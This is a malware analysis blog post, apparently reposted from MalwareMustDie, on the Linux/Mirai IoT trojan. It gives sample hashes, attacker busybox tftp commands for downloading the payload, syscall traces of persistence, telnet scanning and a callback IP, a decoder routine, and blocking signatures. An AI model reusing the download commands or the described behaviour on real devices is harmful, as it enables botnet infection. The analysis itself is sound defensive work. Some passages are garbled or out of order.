๐ MMD-0056-2016 - Linux/Mirai, how old ELF malcode is recycled..
๐ก Newskategorie: Malware / Trojaner / Viren
๐ Quelle: blog.malwaremustdie.org
Background
From August 4th several sysadmin friends were starting to upload this malware files to our dropbox. The samples weren't easy to retrieve, so there are good ones and also some broken ones with the reason that will be explained, I listed in this post for the good ones. This threat is made by the ELF trojan backdoor, the name of the binary is "mirai.*" and is having telnet attack function to other boxes.
As I see those samples as something new, it would be good to start to write analysis for the purpose to raise awareness of this threat widely, since the attacks are actively spotted in the wild on plenty of infected IoT network. During the checks I discussed about the threat to the engineer friends in ETLabs, and also to our supporters who reported this threat directly.
The threat information
The binaries are collected from multiple direct/indirect sources:
mirai.arm: ELF 32-bit LSB executable, ARM, version 1, statically linked, stripped
mirai.arm7: ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, stripped
mirai.mips: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
mirai.ppc: ELF 32-bit MSB executable, PowerPC or cisco 4500, version 1 (SYSV), statically linked, stripped
mirai.sh4: ELF 32-bit LSB executable, Renesas SH, version 1 (SYSV), statically linked, stripped
mirai.sparc: ELF 32-bit MSB executable, SPARC, version 1 (SYSV), statically linked, stripped
mirai.x86: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped
I picked up the ELF binary in ARM architecture for my main reversing since the it was the first ELF appeared, Doing the cross reference with the MIPS, PPC and Sparc ELF ones for the details. In this case, I use plenty of usual tools, nothing fancy or special.
The hash of the binaries:
MD5 (mirai.arm) = b98bc6ab2ed13028cd5178c422ec8dda
MD5 (mirai.arm7) = 33987c397cefc41ce5e269ad9543af4c
MD5 (mirai.mips) = 8e36a1fb6f6f718ec0b621a639437d8b
MD5 (mirai.ppc) = e08befb4d791e8b9218020292b2fecad
MD5 (mirai.sh4) = 030159a814a533f30a3e17fe757586e6
MD5 (mirai.sparc) = ac61ba163bffc0ec94944bb7b7bb1fcc
MD5 (mirai.x86) = 6b7b6ee71c8338c030997d902a2fa593
These binary was infected to the compromised Linux system's SSH or Telnet account (default password of specific IoT aimed), upon the shell access gained the attacker will download the payload of this malware by command trace like below:
busybox tftp -r [MalwareFile] -g [IPsource]
busybox tftp -g -l dvrHelper -r [MalwareFile] [IPsource]
The infection
In some cases of the Linux/Mirai infection is showing traces that the malware was executed without parameter and there are cases where the downloaded malware file(s) is deleted after execution. In this case mostly you won't get the samples unless you dump the malware process to the ELF binary. This explains it is hard to get the good working samples for this new threat.
During the execution, the malware will open the /etc/watchdog file in read-write state with the command:
And will change the work directory to the root directory:
open("/dev/watchdog", O_RDWR)
It uses PF_INET socket it is opening UDP/53 port to access Google DNS server in 8.8.8.8 and established a connection.
chdir("/")
The malware will detect the outbound interface and by re-using previous used socket it opens a random TCP/port to the IP address. If the process above succeed malware will close the socket afterward
connect(3, {sa_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("8.8.8.8")}, 16)
getsockname(3, {sa_family=AF_INET, sin_port=htons(39221), sin_addr=inet_addr("YOUR-IP")}, [16])
close(3)
At this point the malware is performing several decoding for strings, which will be resulted in the targeted malware file name (below) and several random names.
The file will be the copy of the malware under /dev/.{Something}/dvrHelper with piping the stdout and stderr on execution made to /dev/null.
0xbf96daa4 0000 0000 0000 0000 0000 0000 0000 ..............
0xbf96dab2 0000 2e2f 6476 7248 656c 7065 7200 .../dvrHelper.
0xbf96dac0 0000 0000 0000 0000 0000 0000 0000 ..............
The /etc/watchdog execution above is meant for the delay, for the malware not to perform the bad function instantly, to avoid the detection, but just sit there and make sure the malware port is up and used. The mentioned {Something} is the keyword generated by the malware, in example path: /dev/.anime/drvHelper
Upon execution the malware will be self-deleted to avoid the trace, but the process is running. In some IoT that can be seen in lsof or the list to the /proc with specific PID, i.e.:
/proc/{PID}/exe -> /dev/.{something}/dvrHelper (deleted)
/proc/{PID}/exe -> ./{long alphabet strings} (deleted)
In this stage, the networking process continues, the malware is opening PF_INET socket for TCP, and bind it to the specific port (not random) TCP/48101 from localhost IP address 127.0.0.1 and then starting to listen to the incoming connection:
socket(PF_INET, SOCK_STREAM, IPPROTO_IP)
bind(3, {sa_family=AF_INET, sin_port=htons(48101), sin_addr=inet_addr("127.0.0.1")}, 16)
listen(3, 1)
By this stage the system-wide realtime clock will be queried (triggered by random) along with the retrieval set of PID, following by start forking, noted the following clocktest output and the stdout of "NULL\n"
Notes:
clock_gettime(CLOCK_REALTIME, {1472261021, 649262704}.
getpid() // from sespid
getppid()
clock_gettime(0x2 /* CLOCK_??? */, {0, 6215000})
prctl(PR_SET_NAME, 0xbef89752, 0xbef897b8, 0xbef897c8, 0)
write(1, NULL, 0)
write(1, "\n", 1)
fork()
Then this main process will exit here. and forked to new process PID (note: If you go this far means the malware can infect your system).
- forking always starts if infection possible.
- The "NULL\n" is for the execution trace of the watchdog via execl(parse to environment in execve).
For some infection case the malware is self connected to its opened TCP/48101 & will continuously looping without making any forks, in this case you won't get infection:
List of files will show. it's showing the access port for the nodes.
connect(4, {sa_family=AF_INET, sin_port=htons(48101), sin_addr=inet_addr("0.0.0.0")}, 16}
IPv4 5629 0t0 TCP 127.0.0.1:48101 (LISTEN)
IPv4 5670 0t0 TCP 127.0.0.1:60254->127.0.0.1:48101 (ESTABLISHED)
In the forked process, upon the attack command can be triggered, the infected device will perform connection on telnet services on other device for the abuse purpose:
And doing the backdoor to connect via HTTP on 65.222.202.53.
socket(PF_INET, SOCK_STREAM, IPPROTO_IP)
connect(6, {sa_family=AF_INET, sin_port=htons(23), sin_addr=inet_addr("x.x.x.x")}, 16)
sendto(7, "\377\374\1", 3, MSG_NOSIGNAL, NULL, 0)
sendto(7, "\377\374!", 3, MSG_NOSIGNAL, NULL, 0)
sendto(7, "\377\375\1", 3, MSG_NOSIGNAL, NULL, 0)
sendto(7, "\377\375\3", 3, MSG_NOSIGNAL, NULL, 0)
recvfrom(0, "E\0\0(\276~@\0001\6t\342\305\347\335\323\300\250\262\vo0\0\26\373\334\316\244\217\3425\214".
recvfrom(0, "E\0\0004>J@\0*\6\fbj\375(g\300\250\262\v\0\27\243\375P\351\2211m\4\322o"..
recvfrom(0, "E\0\0(\276\177@\0001\6t\341\305\347\335\323\300\250\262\vo0\0\26\373\334\316\244\217\3425\344"..
recvfrom(0, "E\0\0(\276\200@\0001\6t\340\305\347\335\323\300\250\262\vo0\0\26\373\334\316\244\217\3426,"..
recvfrom(0, "E\0\0,\0\0@\0.\6\216=I\213\2P\300\250\262\v\0\27\311gH\31\23\320I\213\2Q".
connect(0, {sa_family=AF_INET, sin_port=htons(80), sin_addr=inet_addr("65.222.202.53")}, 16)
Mitigation method of Linux/Mirai infection
Picking a right ELF is important..
You'll find so little indicator and some encoded strings in the ARM binary. But there is no problem. First you should pick the clean ELF, it has the characteristic like the below:
That's it for the available header & sections reading.
ELF Header:
Magic: 7f 45 4c 46 01 01 01 61 00 00 00 00 00 00 00 00
Class: ELF32
Data: 2's complement, little endian
Version: 1 (current)
OS/ABI: ARM
ABI Version: 0
Type: EXEC (Executable file)
Machine: ARM
Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
LOAD 0x000000 0x00008000 0x00008000 0x0dbb4 0x0dbb4 R E 0x8000
LOAD 0x00e004 0x0001e004 0x0001e004 0x001d4 0x05a84 RW 0x8000
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x4
Section to Segment mapping:
Segment Sections...
00 .init .text .fini .rodata
01 .ctors .dtors .data .bss
From each of Linux.Mirai ELF file clean state like above, it has significant strings that can be filtered by signatures:
If you are in the Linux box, non DVR or busybox IoT type, block the below shown string too..if came up in your memory from an unknown executables is also good to kill the chance of infection:
/dev/watchdog
LCOGQGPTGP
/proc/stat
/proc/cpuinfo
processor
/sys/devices/system/cpu
/dev/null
In rare occasion for infection of Linux/Mirai will connect you back to this MUD game site, blocking its IP is good for protection:
The site is showing the asciiart Mirai logo,..
Blocking the used TCP/48101 port if you don't use it, it's good to prevent infection & further damage:
mirai 29557 toor 3u IPv4 386807 0t0 "TCP 127.0.0.1:48101 (LISTEN)"
mirai 29557 toor 4u IPv4 504795 0t0 "TCP 127.0.0.1:44424->127.0.0.1:48101 (ESTABLISHED)"
The other method is to secure your busybox execution to be run only on specific user. You'll need shell access for this operation, along with other hardening methods. The most important thing to prevent the infection is: if you have an IoT device, please make sure you have no telnet service open and running.
Reversing Linux/Mirai (ARM) in binary way
The binary is reversible, but it's a bit "heavily stripped" and has double function for decoders, so it is not that easy to read, but it's fine. You'll see some important "artifacts" like these "case-switch" they coded to perform attack:
If you trace it carefully all of the silly strings used in the binary can be read like this:
Decoder
// just to get the idea...what is cracked..
fn.0x0000f9e8(v3, (int)"\rRPMA\r\"", 7);
fn.0x0000f9e8(v4, (int)"\rGZG\"", 5);
fn.0x0000f9e8(v7, (int)"jvvrdnmmf\"", 10);
fn.0x0000f9e8(v8, (int)"nmnlmevdm\"", 10);
fn.0x0000f9e8(v10, (int)"XMNNCPF\"", 8);
fn.0x0000f9e8(v11, (int)"egvnmacnkr\"", 11);
fn.0x0000f9e8(v14, (int)"QJGNN\"", 6);
fn.0x0000f9e8(v15, (int)"GLC@NG\"", 7);
fn.0x0000f9e8(v16, (int)"Q[QVGO\"", 7);
:
fn.0x0000f9e8(v17, (int)"QJ\"", 3);
fn.0x0000f9e8(v20, (int)"LAMPPGAV\"", 9);
// One decoder in fn.0x0000f9e8
| 0x0000f9e8 000052e3 cmp r2, 0
| 0x0000f9ec 0ef0a001 moveq pc, lr
| 0x0000f9f0 00c0a0e3 mov ip, 0
| ; JMP XREF from 0x0000fa04 (fcn.0000f9e8)
| .-> 0x0000f9f4 0130d1e4 ldrb r3, [r1], 1
| | 0x0000f9f8 0030cce7 strb r3, [ip, r0]
| | 0x0000f9fc 01c08ce2 add ip, ip, 1
| | 0x0000fa00 02005ce1 cmp ip, r2
| `=\ 0x0000fa08 0ef0a0e1 mov pc, lr
So the usual reversing method can be done to this ELF malware with using any of your flavor reversing tool that can support ELF reading in little endian. (Well, by know you all know what our chosen reversing tool is). I will not say much about this, since all of the previous posts are showing much of this method, but let me explain a new method with the details in the next section.
Reversing Linux/Mirai (stripped ARM) to its source code
I've been working with my personal project called "skeleton", with the goal is an open source to form the ELF binary into as close as possible to the original state. If a known binary is analyzed by "skeleton", it's not interesting and that's not the point of this tool, so this ARM binary is a good chance to test it :-).
Firstly, the simple explanation of "skeleton" concept can be seen in the figure below, a self-explanatory:
Skeleton is analyzing the all inputted malware library you have, and check the new binary by firstly analyzing the calls made on the sample. For example, in the Linux/Mirai this is the statistic of used syscall:
Then the tool is parsed by radare2 assembly dump of the malware, and after some process I can not say openly here, receiving a not-bad result. The result is not 100% looks like the original source code. Specially if you are reversing this from ARM processor which many variable declaration will be passed more steps through registers than Intel, but it will get you into an idea of what kind of code that's actually responsible for this badness.
.....And I was not surprised when I saw that the Linux/Mirai was actually showing many part of codes as similar as GayFgt/Torlus/Lizkebab or Bash0day/Bashdoor/BashLite, below is the screenshots of the skeleton result after I "beautified" a bit :D
The cracked functions:
Putting all together in the main() :)
The case-switch used for abuse action trigger, looks like Torlus/GayFgt recoded version to me..
Obviously same style too, lol :-)
The thing about reverse engineering is, you always can taste a same stuff coded from a same person.
The conclusion
#MalwareMustDie!
Written and analyzed by @unixfreaxjp [link], August 31st 2016 ...